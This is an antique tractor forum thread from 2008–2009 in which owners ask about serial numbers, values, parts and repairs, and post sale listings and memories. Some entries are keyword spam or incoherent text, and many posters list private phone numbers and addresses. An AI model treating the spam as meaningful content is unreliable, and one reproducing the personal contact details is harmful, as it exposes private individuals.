Jim Brehmer wrote on Tuesday, May 19, 2009 (PDT):My Dad bought a Rock Island new in 1933. We sold it to a collector in the family in about 1980. It still ran and I recall using it once in about 1958 to pull one of our other tractors out of a mudhole. I recently heard that it has been totally restored and is in Indiana. I think I may still have some parts for it. Possibly a carburetor and magneto.
Olgunka-ul wrote on Saturday, May 16, 2009 (PDT):big 2010-4 20and 20the 20samples midnight oil card game finepix digital camera batting cages tidewater virginia new homes reno
Jim Broughton wrote on Thursday, May 14, 2009 (PDT):John at 49 Cub... There is a lot of resistance from the battery cable to the starter, so I use a small 12 volt battery like the ones in a lawn tractor and jumper cables positive to ground and negative to the starter then as soon as it starts up, remove the jumper cables I keep the little battery on a battery charger to keep it up, the battery is light in weight and even has a carrying strap, so it s easy to use. Try it , it might help !! Jim B.
Brian wrote on Wednesday, May 13, 2009 (PDT):I have a Farmall Cub. It is about a 1954 I think and has a hydraulic lift system. Lately the hydraulic system leaks into the crankcase. I had the hydraulic pump rebuilt by a shop and they said that there is an O ring seal that had failed. We thought the problem was fixed but now it is back again. If it sits for a long period, the hydraulic fluid all ends up in the crankcase again. I m wondering if I am using the wrong hydraulic oil I topped it up with standard AW 100 from Petro Can. Same stuff I use in my excavator. Possibly it should be a thinner oil Maybe even just engine oil #30 for example but I have no book to tell me what is supposed to be in the system. Does anybody out there know what is supposed to be used Any suggestions appreciated.
John wrote on Monday, May 11, 2009 (PDT):I have a 49 farmall cub. This tractor is in great condition and runs well. I have done tune up, new carb, magneto rebuilt and motor has recently rebuilt. My problem is it is very hard to start. It has a 6 volt starting system and I have to crank it many many times to get it to fire up. After a bunch of tries it drips gas out overflows on carb until it finally starts. Can anyone please help me, I have tried everything I can think of. Thanks for any help.
Phylis Nixon wrote on Monday, May 11, 2009 (PDT):Where can I find info in re; to the antique tractor show in NB soon My husband heard about it on CHSJ, but the have NOTHING on their web page. Let me know soon please.
JOHN WOLINSKI wrote on Sunday, May 10, 2009 (PDT):CAN ANYONE HELP WITH THE YEAR ON A FARMALL M WITH THE S/N FBK 33934. 860-334-1907 THANK YOU.
Jim Broughton wrote on Saturday, May 09, 2009 (PDT):John ; Check your float, sounds like it s letting in too much gas ! Best of luck, they are neat little tractors ! Jim B. in Oregon
DENZIL MUNDAY wrote on Thursday, May 07, 2009 (PDT):i HAVE A MASSEY HARRIS 44K WHICH RUNS ON EITHER KEROSINE OR GAS.tHIS IS A MAGNIFICENT OLD MACHINE WHICH HAS BEEN USED TO RUN A PORTABLE SAW MILL BENCH DIRECT OFF THE PULLEY. hAS PROVIDED RELIABLE SERVICE FOR MORE THAN 20 YEARS. sTILL STARTS WITH FIRST TURN. gREAT MACHINES. HAVE NOT SEEN THE KERO VERSION MENTIONED ANY WHERE ON THIS SITE. WERE THE RARE OR JUST MARKETTED IN AUSTRALIA
jerome abbott wrote on Thursday, May 07, 2009 (PDT):Have 2.3 litre 4 cyl Peugeot diesel rated 55 hp. What make and model tractor would it be easiest to retro fit in
jerome abbott wrote on Thursday, May 07, 2009 (PDT):I have a 2.3 litre 4 cylinder Peugeot diesel rated at 55 hp in good shape. What brand and model of tractor should I put it in
Kenneth Tillman wrote on Thursday, May 07, 2009 (PDT):I have a celtrac crawler was my wifes dads,looking to find out the where the year and model, is a gas 4 cly.I plan on restore it.any info i would appreciate.Thanks KT
Dick wrote on Tuesday, May 05, 2009 (PDT):I grew up on a B . Grandad bought it new in 1947 when I was 4 Y.O. I started driving it at 6 and thought I was king of the hill when he finally let me go in HI gear. Spent many hours on the B . I left home in 65 and lost track of the tractor. I assume my idiot cousin tore it up like he did everything on the farm. Wish I knew.
Olgunka-vj wrote on Tuesday, May 05, 2009 (PDT):loreal paris st. augustine condo sales ajn hospice nurse volts wagon maltese dog breeders in florida
chad albert wrote on Monday, May 04, 2009 (PDT):We have a 1066, 1206, 1466, 706g, 706d, 2 m s, 3 c s and a 4386 i dont care for the 86 series on the 7-15s cuz with that cab forward design it made them ride very rough anyone who has a 66 and a 86 will tell u that a 66 was better for a ride but the one advantage to a 86 was the fuel tanks u could run well into the night with them. The left hand shift was a pain to get in and not to handy to shift. When the 50 series came out they went back to the right hand shift and was very well liked. our 1066 runs a healthy 180hp our 1206 is 155hp the 1466 is at 190 cant hold it down with 8 wheel weights and fluid the 4386 is at 235 and all have pyros on the and hit 1200 degs so fast itll make ur head spin to say the least is that all ih s have the same inhearted torque rise in the 400 series engines to out run pull and with less fuel. I rest my case.
Dave of Taunton MA wrote on Thursday, April 30, 2009 (PDT):Does any one have a R they want to sell that is near by
John Yuhasz wrote on Thursday, April 30, 2009 (PDT):I have a 49 Farmall Cub. The carb leaks gas out the bottom hole. I plugged this hole and it loaded up on gas and shot fire out the exhaust pipe. I have cleaned this carb out and many times and it won t rev up after it is warmed up and running. The tractor is in great shape and had the magneto rebuilt by professionals. After it gets hot it stalls and refuses to start again. Do I need to buy a new carb. and is a rebuilt one going to give me problems again. I just want to ride it around the country roads by my house for fun. Any help will be greatly appreacieated.
Cliff Miller wrote on Tuesday, April 28, 2009 (PDT):Came across an old model H s/n begins FBH and can t read the rest of the plate. Tractor has a large chain driven sprocket on rt. side to power an auxillary piece. Any ideas on age or value
chris harrison wrote on Monday, April 27, 2009 (PDT):I have a Farmall B serial # FAB 218720. New front tires. Road lights fitted. A friend of mine attached a belly mower with drive pulleys from the PTO. The cutting deck is a cub cadet 60C194374100. It has been running OK and cutting a 4 acre field, but I need something newer and this baby needs to be cleaned and shown. Anyone interested
alan wrote on Sunday, April 26, 2009 (PDT):have a international,model# FAA-1,serial#354947,can anyone tell me the year,and availbility of parts
steve wrote on Sunday, April 26, 2009 (PDT):Hi, I am looking at a 47 SC that has been sitting for 6 years outside. I had a bucket over the exhaust and intake pipes and engine turns over with the hand crank. Two questions; 1 one rear break stuck, will be tough to load on trailer--any suggestions for freeing Second, owner said he does not remember draining the radiator 6 years ago---tough indiana winters i am wondering about cracked engine block. I have looked hard don t see obivious cracks but...any help appreciated. Price is fair i believe, all parts are there so i want to buy the tractor. Thanks much..
Austin Smith wrote on Sunday, April 26, 2009 (PDT):My grandpa has a 1953 Farmall M that needed a battery, how do I know wether to use a 6volt or 12volt because my grandpa recently passed away and I know he wanted to fix it up but never got around to it so I m fixing it up and don,t know what size battery to use
xfunxi wrote on Saturday, April 25, 2009 (PDT):Sure. Hes not like hairless vagina that first one of course and coke maybe. What we.
DAMON SABATINI wrote on Friday, April 24, 2009 (PDT):I HAVE A FLAT HEAD FORD I THINK IT IS LATE 30,S OR 40 HAS WATER PUMPS ON HEADS CAN SOMEONE HELP ME PLEASE TO SEE WHAT YEAR IT IS AND VAULE
Shooter wrote on Friday, April 24, 2009 (PDT):To Rebel May 9.99 comment, if you haven t found the answer yet to the cracked water jacket...yes j/b weld will work. Auto body filler will work as well...simply clean the block very well with a wire wheeel mix the body filler and cover hte cracks.
Shooter wrote on Friday, April 24, 2009 (PDT):To Rebel May 9.99 comment, if you haven t found the answer yet to the cracked water jacket...yes j/b weld will work. Auto body filler will work as well...simply clean the block very well with a wire wheeel mix the body filler and cover hte cracks.
Mike wrote on Wednesday, April 22, 2009 (PDT):I have a set mounted on a Cockshutt 540, they work great.
Clyde Hayes wrote on Wednesday, April 22, 2009 (PDT):I inherited an Internationa Harvestor Farmall Model A, SN#FAA 167939. I m not sure of the year but was told it is about a 1941-3. The hydraulics run off the exhaust system if that gives a better idea of the mfg year. This hydraulics system is in need of repairs. I do not know what the parts are called but the plunger inside the canister needs a belt of some sort. Can anybody help me in finding this part, the part name s , and/or letting me know where I can order parts for this I can also use some educating on this model if also know where I can research. Any help is appreciated. Thanks.
Jim Broughton wrote on Tuesday, April 21, 2009 (PDT):Hooray !! Put the plow on my Cub and plowed my garden yesterday...Then disked it today. Man, you can t beat that quick-tach set-up..only problem is the front-end is a little light when plowing ! Had a great two days playing with my Cub !!
Mark Turner wrote on Tuesday, April 21, 2009 (PDT):I have a friend that has a 1955 MH tractor that was drove to its current location about 3 years ago he is wanting to sell. If you are interested you can email me. The tractor runs on LP and is located in Orange, Texas.
waggy wrote on Tuesday, April 21, 2009 (PDT):i have a 1951 8n they are wonderful tractors , i looked for 20 years and finally got one for my birthday , best birthday present i ever got , thanks hune .
Olgunka-kr wrote on Tuesday, April 21, 2009 (PDT): send message honda crv
larry brown wrote on Monday, April 20, 2009 (PDT):i have a cub that must have been one of the last ones built. my dad bought it in the early 80 s, the serial number is253569. i need some decals but the ones on the gas tank are not like any i have seen advertised. the sticker is 41 1/2 long , blue white and black with international cub written on it anyone know where i can get these
J.Winnicki wrote on Monday, April 20, 2009 (PDT):I have a 1949-50 completely restored Farmall Cub for sale that belong to my grandfather and has been completely restored amd the motor completely rebuilt. Looking to sell it. Also have wheel weights for the back tires which are presently not on the tractor. Other parts like front blade and cultivator also available. Make an offer. Niagara Ontario
Fritz Keysser wrote on Sunday, April 19, 2009 (PDT):Anyone know where I could find a narrow rear end for a F-20 Hoping to find something close to Missouri. Thanks
Nathan Ritter wrote on Wednesday, April 15, 2009 (PDT):we have a 1950 model 42 Silver King tractor. we have resently started some work on the water pump and while doing so we realized that the fan belt was the wrong size witch makes the tractor wine and the manual dose not mention its size.would any one know the correct fan belt size
paul. wrote on Tuesday, April 14, 2009 (PDT):just got a 60 row crop ser#appears to be 663322 if they are on that brass plate on engine.looking for info on it ,seems to be a good runner but i know nothing about operating it.know any places to get the tech,stuff
Ken Sperle wrote on Monday, April 13, 2009 (PDT):I just purchased a Farmall F-20. I need to pick it up in another state. Would someone who owns one tell me how wide will a trailer have to be to accomodate the F-20 Thanks, Ken
Kathy wrote on Friday, April 10, 2009 (PDT):I have a W-4 and a super W-4 for sale. Can be reached at 519-848-3891 or leave a message.Also may be able to find parts and information if needed. Have owned and used w-4 for 50 years. Live in Ontario, Canada.
lynn smith wrote on Sunday, April 05, 2009 (PDT):i have a 560 disel with about 10000hrs on it i am a mechanic and i am restoreing it did an out of frame rebuild and was happy then the oil pan filled with disel fuel so i sent the pump out like i should already have done for rebuild after about 1 hour break in and a couple months i have an oil pan full of disel again is it my instalation or their rebuilt pump the shaft seale are really hard to get to slide in it seems like there should be a collar for this help please!
Dean wrote on Sunday, April 05, 2009 (PDT):I just bought a nice Oliver super 55 at the local spring farm auction. It s in very good shape but I can t figure out how to engage the PTO. I can t find a lever or anything anywhere on it. The shaft spins when the tractor is running but you can stop it easily. It doesn make any bad noises or feel bad when you do. Am I just not seeing it or did I buy one that has problems Thanks.
H. Debiaggi wrote on Saturday, April 04, 2009 (PDT):I have owned a 1946 pony tractor since 1950 with all its original attachments. Id like to know where Ill be able to buy three stickers that reads; Massey-Harris. And the other, that only reads; Pony. If you have any idea, please send me an e-mail.
Dan wrote on Friday, April 03, 2009 (PDT):I have what was told to me to be a 1946 L model with a wico mag, if someone could please tell me what to set the points at and a idea of what the tractor is worth, it s in good shap, needs tires and stering nuckel, thanks
Roy Burns wrote on Thursday, April 02, 2009 (PDT):I have a 140 serial #66449j. I want to find the age. All serial numbers I have found end in 1975 at about 55000. IH was building about 3000 of these tractors a year which would put mine at about 1979. Can anyone varify this
Danielle wrote on Wednesday, April 01, 2009 (PDT):Does anyone have an restored 8N that is located in Northern California
BRIAN MUETZE wrote on Tuesday, March 31, 2009 (PDT):I HAVE A FWA MF 97 LOOKING FOR INFO ON FIXING FUEL PUMP
Kenneth Robinson wrote on Monday, March 30, 2009 (PDT):Have a massey-harris tractor with model # 44dr 2042. has wide front end and 4 cyl gas engine with these # s on engine; J209,OFD under that, 2.5L GMG, 3 with 100443 ll under that. What info can be revealed from these # s Any help appreaciated. Thank you
Chuck May wrote on Monday, March 30, 2009 (PDT):My dad recently passed away and we now have a ZB MM for sale. Narrow front - new tires all around. Has been used lightly for the past 20 years. Has a loader on it but can be removed if buyer would like it removed. Please contact me with any questions. I also have pictures if anyone would like to see. 2nd owner- and shedded. 605-695-3597
Earl Riley wrote on Sunday, March 29, 2009 (PDT):What should the cylinder compression be on a model 52 8N be
dave jett wrote on Saturday, March 28, 2009 (PDT):I am restoring my 51 8n but cannot find original paint scheme for all parts. Can anyone help or tell me were to find this info. THANKS
Jim Balsillie wrote on Friday, March 27, 2009 (PDT):I would like to know the year of manufacture of an F20 Serial Number;10599NW
Shawn T Hostler wrote on Monday, March 23, 2009 (PDT): I m looking for a used 3 point hitch cement mixer for my 53 Jubilee within 150 miles of Morgantown,WV thanks
Mark wrote on Sunday, March 22, 2009 (PDT):I just got an Oliver Crawler OC3-42 - Serial#9WH828. I think it is a 1951 or 1952 Tractor and has a loader on the front. I am looking for any details I can find on this tractor. It has a 4 cylinder gas engine with a bad crank. I can t find any pictures on the internet that look like my Oliver Tractor - Crawler. I would be glad to email anyone pictures if you can give me any information at all. Thanks in advance, Mark
jonny b wrote on Thursday, March 19, 2009 (PDT): need a wiring diagram to con vert 6v pos ground to 12v neg.ground thank you
James Farber wrote on Tuesday, March 17, 2009 (PDT):Am looking for a Plymouth or early Silver King in restored or good original condition.Jim Farber 707-894-4759 Thanks
lee thomas wrote on Sunday, March 15, 2009 (PDT):AC, do you know what you need to fix your transmission some time the cage bearing in the end of front main drive will be bad and cause this problem some time the topplate can cause this
eric beady wrote on Sunday, March 15, 2009 (PDT):bill you should be around 40-50 hp on a super M
Haley Sowell wrote on Friday, March 13, 2009 (PDT):I want to buy a AC Model G with cultivators,middle plow,planter and other equipment,will pay good price for a tractor in very good condition to work my garden with,I will travel reasonable distance to buy.call me at 903-572-3123
Mary Brooks wrote on Friday, March 13, 2009 (PDT):i have a i96 caseomatic 831c straight all around and ran when parked 2yrs ago this is a western nebr. tractor and clean 8sps. for./2rev. 6cyl. diesel would like to know approx. value or have fair offers
Brian Knisley wrote on Friday, March 13, 2009 (PDT):It looks pretty good after all these years.
norris james Kannapolis NC wrote on Thursday, March 12, 2009 (PDT):Have purchased a 34 plymouth tractor restored it is a eye atcher in this part of the country . They seem to be more in the northern states , People down here have never heard of them . It is different. 3-12-09 704-932-2423 retired farmer with toys. ha.
Greg Langmo wrote on Saturday, March 07, 2009 (PST):I have a D15 wide front with SHUTTLE clutch fully hydralic Paulson loader. Rubber is 90%, paint average. Tractor starts runs great. Dad bought new. Always shedded. What is a fair price
john simmons wrote on Friday, March 06, 2009 (PST):My father own a 1947 g with disc plow, cultivator sickle mower belt pulley. In the early 1950 he traded it for a b. I bought a 1948 g which had been restored, but does t have the manual lifts or cultivators. any help locating
chuck wrote on Thursday, March 05, 2009 (PST):NEED a running farmall b engine or block and/or cultivator assembly. Please call 715-213-9001 or email me at accent at tds.net.
Noreen Argue wrote on Monday, March 02, 2009 (PST):I recently received my Dad s 1951 SC case. It is dier need of a paint job which will be done in the near future. He bought the tractor brand new in Evart, MI. I, as a young girl, use to drive the tractor on the hay wagon while my brothers would load the bails of hay. Then one Saturday, my brother couldn t get off work to help my Dad, so I took his place helping. What was it doing. None other than driving it on the manure spreader. I dearly loved this tractor and am proud to have it. I am the only remaining family member, had to wait 37 or so years to get it but it still carries some pleasant memories. Other than for the paint, the clutch pad is all that needs to be replaced. It was all over-hauled recently and the motor runs like a top. I don t think a case can be beat. They are my favorite tractor.
milo jimenez wrote on Sunday, March 01, 2009 (PST): I am looking to put an 6 cyl 250 straight six in a ford 8n I know it can be done but don t know what I need any help would be appreciated.
Chuck Magley wrote on Friday, February 27, 2009 (PST):Have a restored 1954 Type M similar to the picture above. Would like to sell. It has a seven foot box scraper with after market hydraulics.
John H wrote on Thursday, February 26, 2009 (PST):If you still have the gaskets please email me at jd2mn at charter.net Thanks
Bill Boldt wrote on Tuesday, February 24, 2009 (PST):I have a 1952 Super M all reconditioned. Does anyone know the rated horsepower of that particular model Thanks.
jessica wrote on Monday, February 23, 2009 (PST):I have 1949 pony tractor, oringal paint,oringal tires,etc comes with attachments , any ideas what to price this at been in a garage its whole life
jimmy dee in wisconsin wrote on Sunday, February 22, 2009 (PST): Hi everyone im looking for a nice old tractor for my son and i to fix up if you might have something in wisconsin we would love to come take a gander,also any hit and miss moters please call collect at 715 445 2781
Marlin Wade wrote on Sunday, February 22, 2009 (PST):I have a 1940 F 20 with a hyd.system .I would like an operaters manual for that and any suggested uses for that system on the F 20. Any help would be appreicated.
Don Young wrote on Sunday, February 22, 2009 (PST):This was one of the first tractors I drove many years ago. I don t remember the year of the one we had, but it did have live hydraulics. We had the blade attachment, with a bolt on brush rake attachment, ditch attachment for orchard irrigation. I am from Yakima, Washington where the tractor was converted from a B model motor and transmission form John Deere, shipped to Yakima for the track system and final assembly. Remains of the foundry and production still exist, a fire destroyed most of the facility in the late 50 s. The Central Washington Ag. Museum in Union Gap, Washington, I heard that they are in possession of the original track pad equipment, and are producing this part. You can contact them 509-457-8735. They also have a video tape of called The Lindeman Story , how the brothers got started, and showcasing some of their inventions and equipment. They were very good at filming their equipment in use on local farms and ranches in the Yakima Valley. I hope that some of this may help someone that reads this.
Mark from New Mexico wrote on Saturday, February 21, 2009 (PST):It looks like I own a 9n 6 cylinder and need an exhaust manifold, if anybody has one please advise me. I don t know exactly what the year is but I believe it is a 1948 model. Does anybody know what the ballpark value is
Seamus Flanagan wrote on Saturday, February 21, 2009 (PST):Hello i have a 97 Massey Ferguson i would like to sell, good running tractor with a new battery and starter. 9,0000 located in Chicago Illionis. Please contact at; 708-243-9290 Thank you
Bobby Carnes wrote on Saturday, February 21, 2009 (PST):I just purchased a super M farmall with wide front end and a threepoint hitch with up and down pressure, and I was wondering if anyone out there can tell me what it might be worth. It has good paint all decals with good tires and has always been sheded. It appears to be all orignal. Thanks;
Ed Lewis wrote on Friday, February 20, 2009 (PST):Does anyone know of a manuel for the tractors 3 wheel FROM 1942--1954. OR A REPRODUCTION
Bud wrote on Friday, February 20, 2009 (PST):I have a 720 diesel with a pony engine start and I m looking for a JD trailer type 3 16 s mould board plow. Does anyone have one or know where I can get one Please e-mail me at cagraves at ktis.net. Thank you.
alex smith wrote on Tuesday, February 17, 2009 (PST):I am looking for one. I want it to run good have fenders lights ect. for around 2500.
Mark Van Der Veer wrote on Tuesday, February 17, 2009 (PST):My friends tractor was running prior to sand blasting and painting, now it dosent have a spark. Any ideas where to start
Ashley wrote on Monday, February 16, 2009 (PST):I was just wondering what the color of the Silver King tractor that was made in 1941 is. Some say it is silver and blue and others say it is silver and red....which is it
Nat Little wrote on Tuesday, February 10, 2009 (PST):The B Farmall was the first tractor my father owned, the first that I drove,wonder if any one else ever had trouble with the magneter jumping time.........
Jim Broughton wrote on Saturday, February 07, 2009 (PST):C.Hoover; Your tractor is a late 1949 or early 1950 model per the serial number.Thus far, allowing for the recession, prices have held fairly well.With just a mower, and if it looks real good,try 1500.to 2000.00 for it ! Best of luck since people are holding onto their money ! Jim B. in Oregon
David Bragdon wrote on Friday, February 06, 2009 (PST):Does anyone know how much the farmal M weighs. I need to buy a trailer to haul it from Florida to NH. The back tires are loaded so that might change the weight. Thanks
billy norman wrote on Tuesday, February 03, 2009 (PST):yes , i have 3 of the little g tractors, i think they are neet as they can be,
Mark wrote on Tuesday, February 03, 2009 (PST):My brother-in-law has a AC G with right and left plows,sickel bar,and culavators needs redone. HOW much would it be worth.
Richard Evans wrote on Tuesday, February 03, 2009 (PST): I am looking for a set of ARPS half tracks 13 or 16 wide for 11 X 36 tyres on my David Brown 990 or 1956 grey Ferguson same as Ford 8N .
Joe Browning wrote on Tuesday, February 03, 2009 (PST):Has anyone out there used Agriline products out of England for parts. I am concerned about shipping costs. They are very vague as to shipping, only saying they will give you the best rate available. Thanks
Joe Mallonr wrote on Monday, February 02, 2009 (PST):Relative has a 1938 Silver King restored 3-wheel tractor. He wants to sell, would appreciate any comments on value. Thanks.
dell pearson wrote on Monday, February 02, 2009 (PST):to george weikum i bought a 705 in minot in nov 08 i am going to pull it. from your note sounds like you are going to. let me know if you are planning on doing any engine mods, thanks
Orval wrote on Sunday, February 01, 2009 (PST):I have a International Farmall just purchased can not find the seriel # don t know if it is a a 1943, 1944. It is an A maybe Super. Does anyone know how to find out year I need a parts book when I find out what year it is. Thanks Orval
R. McCormick wrote on Sunday, February 01, 2009 (PST):My Dad had a 730 diesel with the pony engine start, although he always called it the pup engine. Perhaps that term was just a Southern Ontario ruralism. In my opinion, that tractor was the absolute pinnacle of John Deere s output; nothing after comes close. There is no sound more nostalgic than the one produced by pushing its throttle ahead under heavy load. Add the smell of burned diesel fuel and dirt and I m a kid again.
Taber Geartz wrote on Sunday, February 01, 2009 (PST):I am looking for half tracks for a 1952 Ford 8N. Does anyone have a track set-up for sale Thanks!
Hank Cameron wrote on Saturday, January 31, 2009 (PST): I have seen the decals for the model 22 advertised through Yesterdays Tractor. I am looking for a rebuilt water pump for my MH 22 with the Continental 140G ser no 31658. The tractor ser no is 6292 1952 .The casting no on the water pump is 2431. The MH part number for the water pump is 760791M91. Alternatively, I would like to find a water pump repair kit part number 840163M91. The tractor runs well and looks good. I have changed all the fluids,tuned it up and put a voltage regulator on it. I think it has always been here in the Okanagan valley of B.C. Hank
herb steinkamp wrote on Saturday, January 31, 2009 (PST):If anyone out their can help me-I have a 44-6 the 6 is for 6 clyd. but I have no Ideal what it is worth- I got it painted-it runs good rubber is fine. One guy saw it in the shed and he wants to buy it. Live in Illinois can anybody tell me what it might be worth.. Thanks Herb
gene pesch wrote on Saturday, January 31, 2009 (PST):I have a b for sale. Rear tires good and one front good.This tractor is in I would call fair shape. Runs good I use it to pull hayracks and rake with it. CALL 218 444 2155
Kevin Messelt wrote on Thursday, January 29, 2009 (PST):Just bought a Massey-Harris 44. Not sure what year, but one heck of a strong running workhorse. Looks good too, so it will be a working show peice. It is the wide front wheel base with front loader. Paid 3,500.00
Chief wrote on Monday, January 26, 2009 (PST):You can tell the difference between the 60 and 105 horse engine by the head bolts.The 60 horse had 20 the later model and the 100 horse power had 24 headbolts to each side. The 60 horse power models had the ignition mounted between the two water pumps on the front of the engine. The 100-105 horse power engines had the ignition mounted top front of the intake mantifold.
Holly Schmidt wrote on Sunday, January 25, 2009 (PST):We have 2 we think Farmall B tractors on the property we interited from my parents/grandparents. We think they are 1939 and 1941 models how can we determine this . They have been sitting for 20+ years and are not in running condition. We are interested in selling them but not sure how much to ask. Thanks.
Bill Pilkerton wrote on Thursday, January 22, 2009 (PST):We are looking for a Case 400 gas 411 55-56-57 w/f,p/s eagle-hitch, as long its mechanical good ! Thanks, Bill
Rod Knoll wrote on Tuesday, January 20, 2009 (PST):Dad bought a brand new 74 1066, had the red cab w/no stripe, would do just about anything you asked. I buried it a couple of times dragging the disc harrow thru a soft spot, took 2 neighbors 3 tractors to unstick it....the duals were a chore but wasn t bad, the T/A went out at around 2200 hrs most would fail before 2500 hrs , was a thirsty devil, would plow for 4 hrs gulp down most of the 42 gal tank...sold it in 1990...
Rod Knoll wrote on Tuesday, January 20, 2009 (PST):Working on a 53 Super M T/A, in the family for almost 40 yrs, has power bucket but needs help, working on a wide front end, looking for a rear rim, a 3 point hitch conversion, maybe power steering....
Mike Sobkow wrote on Tuesday, January 20, 2009 (PST):I inherited a 1949 Model R Diesel JD from my father. I don t have the tractor anymore but, I still have head gaskets new one for the main engine ans two for the pony engine. I d be glad to sell them for 50.00.
Mike Sobkow wrote on Tuesday, January 20, 2009 (PST):I inherited a 1949 Model R Diesel JD from my father. I don t have the tractor anymore but, I still have head gaskets new one for the main engine ans two for the pony engine. I d be glad to sell them for 50.00.
brian caya wrote on Monday, January 19, 2009 (PST):i am looking at a massey 44 for sale, it has the tall power take off lever near the right fender. does this indicate that its a 44 special how can i tell that its a special other than the engine code
Larry Kaylor wrote on Wednesday, January 14, 2009 (PST):I would like to know if anyone can give me an approx. weight of a super 44 with wide front and a bucket. Even dry weight would be helpful.
Tony Walters, Neosho Mo wrote on Wednesday, January 14, 2009 (PST):Im needing to know how much Hp Case Eagle model cd 14 made 1943,, Ser.no# Vai 4700 400 im haveing troble pulling a 5 ft mower,for bush hoging
C Hoover wrote on Wednesday, January 14, 2009 (PST):My father passed away and has a Farmall Cub. Plate info reads; Model FCUB SN#76077. He told us it was a 46 or 49, but a tractor dealer states it is a 62. We are trying to come up with an idea of what to try sell it for. It is in very good condition with a mower deck. Can anyone help
Jay Riggs wrote on Sunday, January 11, 2009 (PST): I recently bought a1950 cub. It had all of the hydrolics stripped off of it. Would like to replace if can find parts.
Rick Fricke wrote on Friday, January 09, 2009 (PST):My father bought a 500 new sometime in the mid-fifties, eventually it ended up in the hands of my grandfather Kenneth Grieser Defiance, OH who sold it sometime in the early 1970s. I would really like to locate it, but no one seems to remember who he sold it to. I do know the block was welded back in the 50s but never gave any problems. Please let me know if you might have any idea about its location - I imagine it is still in the general area of NW Ohio.
Bob Griggs wrote on Friday, January 09, 2009 (PST):I bought a 1945 M and I m enjoying doing a reconditioning job on it.
Bruce Huffaker wrote on Thursday, January 08, 2009 (PST):I have a Farmall B and would like to sell it. It is in restorable condition and runs good. Also has a belly mount woods mower on it that is in rough condition. It has always been indoors, but like anything else needs painting. Contact me at 815-894-3482 thats in Illinois
David Bartosh wrote on Wednesday, January 07, 2009 (PST):I would like to buy an AC-G tractor prefer with implements or if anyone has implements that attach to this tractor, for sale. Contact me at this email address or phone 402-693-2470 or 503 N Spruce St., Dodge, NE 68633
Rod Litz wrote on Wednesday, January 07, 2009 (PST):About how much does a M and a Super C weigh. I m putting them on a trailor to haul. Thanks
Derek A wrote on Tuesday, January 06, 2009 (PST):We have a 1953 Case DC with the 3pt hitch eagle hitch i believe case calls it. It doesn t run. I m wondering if I bought an SC would the 3pt come off the DC fit the SC
John wrote on Sunday, January 04, 2009 (PST):I am interested in buying a Super 44. PLEASE let me know if you can help. ph 563-568-1212 leave message Iowa
roy w sauder wrote on Wednesday, December 31, 2008 (PST):if any of you have a 0c6 oliver crawler with 68 inch track width or know of one i would realy like to hear from you as i am enterested in restoreing one. Roy
j.w.freck wrote on Tuesday, December 30, 2008 (PST):to melissa ryks..... try eagle lakes tractor parts in eagle lake texas,for ur 45 wheel weights
Hancel Porterfield wrote on Sunday, December 28, 2008 (PST):I want to buy an AC-G with at least a cultivator. If anyone has one for sale please contact me by this address or 540 885-0474 or 109 Estate Lane, Staunton, VA 24401
KEN COX wrote on Sunday, December 28, 2008 (PST):I BOUGHT A 1961 2010 ABOUT THREE MONTHS AGO NOWING THAT THE TRANS NEEDED WORK, I AM A BIG GREEN AND YELLOW FAN AS MY FATHER WAS, HE TO BOUGHT A 2010 NEW IN 1961 THAT WE USED ON THE FARM FOR EVERY THING. HOW EVER I AM LOOKING FOR A PUSH PULL ROCKSHAFT CABLE #AT13231 IF ANY ONE HAS ONE PLEASE CONTACT ME.. 406 270 3029 MILES CITY MONTANA.. THANKS KEN
Chuck Reese wrote on Friday, December 26, 2008 (PST):I need a set of Cultivators for the AC-G. Please e-mail price, condition and location.
Dale Frasca wrote on Sunday, December 21, 2008 (PST):I have what I think is a to20. No tags on the cowl, no tags on the engine block. I do see casting # s on the transmission housing rear end . Please help. How do I determine what I have . Could it be a to 30 What year might she be ... Possible differences in body style to look for uummm anything might be helpfull....Thanks
RAY STIKELEATHER GRANJTE FALLS NC wrote on Sunday, December 21, 2008 (PST):looking for b farmall complete or restorable. SANTA IS LOOKING TOO
Ellsworth Chase wrote on Friday, December 19, 2008 (PST):I have a 1952 Cub that I am restoring. When I purchased it the previous owner installed an after market new battery box. As part of my restoring I purchased a package deal on a new battery box, tool box, seat, etc. Therefore the new battery box that came with Cub is spare and I am willing to part with it. Let me know if you have interest I can be contacted at email; echase at chaselinkslcom, or phone; 860-922-4400.
R FRED SHOHAYDA wrote on Wednesday, December 17, 2008 (PST):i have tracks for 2n 8n 9n 650.00
Errol WOFFORD wrote on Tuesday, December 16, 2008 (PST):Found Oliver tractor that owner says is a 1954 Oliver Super 77 Disel. Serial # is 26 548 801 with specification # 18-1650. Can anyone tell me if this is a 54 Super 77 If so what is value. Tractor runs good and has been used recently. Has wide front end. Thanks for your help.
Ron Swallow wrote on Monday, December 15, 2008 (PST):I m looking for the battery box front cover and top for a 1950 Farmall Cub.
Lon Welch wrote on Sunday, December 14, 2008 (PST):My great grandfather and his brother both had Yuba tractors early 1900s ; their farms were located in southeastern Washington State. An elderly neighbor told of watching my grandfathers tractor work pulling a combine. When they came to a hill the tractor couldnt pull, the front of the tractor would rare up. They then stopped and hooked a team up to help the tractor over the hill. If the tractor went over a wash some of the track roller balls would fall out. They would pick them up so they could be put back in place when servicing the tractor at the end of the day. They build shades over the tractor that ran the full length of it. This is hot country in the summers, I cant imagine how much work or how uncomfortable it was for the operator of the tractor. I have a picture of one of the tractors hooked to a combine but it is poor quality and hard to see a lot of detail. Thanks to this site for providing a much sought after photo of the Yuba tractor.
howard wrote on Sunday, December 14, 2008 (PST):looking for dist cap for1945 mh81
Ken Wozniak wrote on Thursday, December 11, 2008 (PST):Hello,I m looking for a push button starter switch,2 prong,for 1957 international cub loboy.Thanks,Ken
Charley wrote on Monday, December 08, 2008 (PST):I am looking for Information on Case DI Tractors Modified by Mercer Engineering Works, for Cranes and Baggage Conveyors.
lynette lawless wrote on Thursday, December 04, 2008 (PST):have a farmall B tractor that still runs and good rubber but sitting outside for 4 months now can not crank it to start it my husband always done that would like to sell it but not sure what to ask for it the tractor is going to waste just sitting there.
George Weikum wrote on Tuesday, December 02, 2008 (PST): I bought one 11-28-08. This tractor was dynoed in the Nebraska test in the 60 s and it was the first tractor to break the 100 H.P. level. It was 101-6 H.P. for Diesel. It looks great and I m sure it will pull well. There have been 4 sell in the Midwest this year. All were nice tractors. I can be reached at 630-878-9401. Naperville, Illinois
tom dunphy wrote on Sunday, November 30, 2008 (PST):I have a Massey Harris 22 Standard with a narrow front and I am looking for a new or used manifold. Any suggestions where I could look
